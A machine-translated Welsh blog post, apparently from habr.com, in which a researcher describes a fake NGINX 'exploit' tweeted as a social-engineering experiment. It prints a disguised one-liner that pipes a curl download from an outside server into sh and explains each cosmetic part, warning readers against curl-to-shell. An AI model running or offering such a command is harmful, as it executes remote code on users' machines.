Nodyn. traws.:
TL; DR: Peidiwch â defnyddio piblinellau ffeiliau yn sh neu bash o dan unrhyw amgylchiadau. Mae hon yn ffordd wych o golli rheolaeth ar eich cyfrifiadur.
Rwyf am rannu stori fer gyda chi am ecsbloetio comig PoC a grëwyd ar Fai 31ain. Ymddangosodd yn brydlon mewn atebiad i newyddion o
Ar ôl gorffen gweithio ar dechneg obfuscation newydd mewn curl, dyfynnais y trydariad gwreiddiol a “gollwng PoC gweithredol” yn cynnwys un llinell o god sydd i fod yn manteisio ar y bregusrwydd a ddarganfuwyd. Wrth gwrs, nonsens llwyr oedd hyn. Cymerais y byddwn i'n cael fy datguddio ar unwaith, ac y byddwn ar y gorau yn cael cwpl o ail-drydariadau (o wel).
Fodd bynnag, ni allwn ddychmygu beth ddigwyddodd nesaf. Neidiodd poblogrwydd fy nhrydariad. Yn syndod, ar hyn o bryd (15:00 amser Moscow Mehefin 1) ychydig o bobl sydd wedi sylweddoli bod hwn yn ffug. Mae llawer o bobl yn ei ail-drydar heb ei wirio o gwbl (heb sôn am edmygu'r graffeg ASCII hyfryd y mae'n ei allbynnu).
Edrychwch pa mor brydferth ydyw!
Er bod yr holl ddolenni a lliwiau hyn yn wych, mae'n amlwg bod yn rhaid i bobl redeg cod ar eu peiriant i'w gweld. Yn ffodus, mae porwyr yn gweithio yr un ffordd, ac ar y cyd â'r ffaith nad oeddwn wir eisiau mynd i drafferthion cyfreithiol, roedd y cod a gladdwyd yn fy ngwefan yn gwneud galwadau adleisio heb geisio gosod na gweithredu unrhyw god ychwanegol.
Gwyriad bach:
curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost
Mae peirianneg gymdeithasol-electronig (SEE) yn fwy na gwe-rwydo yn unig
Roedd diogelwch a chynefindra yn rhan fawr o'r arbrawf hwn. Rwy'n meddwl mai nhw a arweiniodd at ei lwyddiant. Roedd y llinell orchymyn yn awgrymu diogelwch yn glir trwy gyfeirio at "127.0.0.1" (y localhost adnabyddus). Ystyrir bod Localhost yn ddiogel ac nid yw'r data arno byth yn gadael eich cyfrifiadur.
Cynefindra oedd ail gydran SEE allweddol yr arbrawf. Gan fod y gynulleidfa darged yn bennaf yn cynnwys pobl a oedd yn gyfarwydd â hanfodion diogelwch cyfrifiadurol, roedd yn bwysig creu cod fel bod rhannau ohono'n ymddangos yn gyfarwydd ac yn gyfarwydd (ac felly'n ddiogel). Mae benthyca elfennau o hen gysyniadau ecsbloetio a’u cyfuno mewn ffordd anarferol wedi bod yn llwyddiannus iawn.
Isod mae dadansoddiad manwl o'r un leinin. Mae popeth ar y rhestr hon yn gwisgo natur gosmetig, ac yn ymarferol nid oes angen dim ar gyfer ei weithrediad gwirioneddol.
Pa gydrannau sydd eu hangen mewn gwirionedd? hwn -gsS
, -O 0x0238f06a
, |sh
a'r gweinydd gwe ei hun. Nid oedd y gweinydd gwe yn cynnwys unrhyw gyfarwyddiadau maleisus, ond yn syml roedd yn gwasanaethu graffeg ASCII gan ddefnyddio gorchmynion echo
yn yr ysgrythyr a gynhwysir yn index.html
. Pan ddaeth y defnyddiwr i linell gyda |sh
yn y canol, index.html
llwytho a gweithredu. Yn ffodus, nid oedd gan geidwaid y gweinydd gwe unrhyw fwriadau gwael.
-
../../../%00
— yn cynrychioli mynd y tu hwnt i'r cyfeiriadur; -
ngx_stream_module.so
— llwybr i fodiwl NGINX ar hap; -
/bin/sh%00<'protocol:TCP'
- rydym i fod yn lansio/bin/sh
ar y peiriant targed ac ailgyfeirio'r allbwn i'r sianel TCP; -
-O 0x0238f06a#PLToffset
- cynhwysyn cyfrinachol, wedi'i ategu#PLToffset
, i edrych fel gwrthbwyso cof a gynhwysir rywsut yn y PLT; -
|sh;
- darn pwysig arall. Roedd angen i ni ailgyfeirio'r allbwn i sh/bash er mwyn gweithredu'r cod sy'n dod o'r gweinydd gwe ymosodol sydd wedi'i leoli yn0x0238f06a
(2.56.240.x
); -
nc /dev/tcp/localhost
— dymi yn yr hwn y cyfeiria netcat/dev/tcp/localhost
fel bod popeth yn edrych yn ddiogel eto. Mewn gwirionedd, nid yw'n gwneud dim ac mae wedi'i gynnwys yn y llinell ar gyfer harddwch.
Mae hyn yn cloi dadgodio’r sgript un llinell a’r drafodaeth ar agweddau ar “beirianneg gymdeithasol-electronig” (gwe-rwydo cywrain).
Ffurfweddu Gweinydd Gwe a Gwrthfesurau
Gan fod mwyafrif helaeth fy nhanysgrifwyr yn infosec / hacwyr, penderfynais wneud y gweinydd gwe ychydig yn fwy ymwrthol i fynegiadau o “ddiddordeb” ar eu rhan, dim ond fel y byddai gan y bechgyn rywbeth i'w wneud (a byddai'n hwyl i sefydlu). Dydw i ddim yn mynd i restru'r holl beryglon yma gan fod yr arbrawf yn dal i fynd rhagddo, ond dyma ychydig o bethau y mae'r gweinydd yn eu gwneud:
- Yn mynd ati i fonitro ymdrechion dosbarthu ar rwydweithiau cymdeithasol penodol ac yn disodli mân-luniau rhagolwg amrywiol i annog y defnyddiwr i glicio ar y ddolen.
- Yn ailgyfeirio Chrome/Mozilla/Safari/etc i fideo hyrwyddo Thugcrowd yn lle dangos y sgript cregyn.
- Gwylio am arwyddion AMLWG o ymwthiad / hacio amlwg, ac yna'n dechrau ailgyfeirio ceisiadau i weinyddion NSA (ha!).
- Yn gosod Trojan, yn ogystal â rootkit BIOS, ar bob cyfrifiadur y mae ei ddefnyddwyr yn ymweld â'r gwesteiwr o borwr rheolaidd (dim ond twyllo!).
Rhan fach o animers
Yn yr achos hwn, fy unig nod oedd meistroli rhai o nodweddion Apache - yn arbennig, y rheolau cŵl ar gyfer ailgyfeirio ceisiadau - a meddyliais: pam lai?
Ecsbloetio NGINX (Go iawn!)
Tanysgrifiwch i
Ffynhonnell: hab.com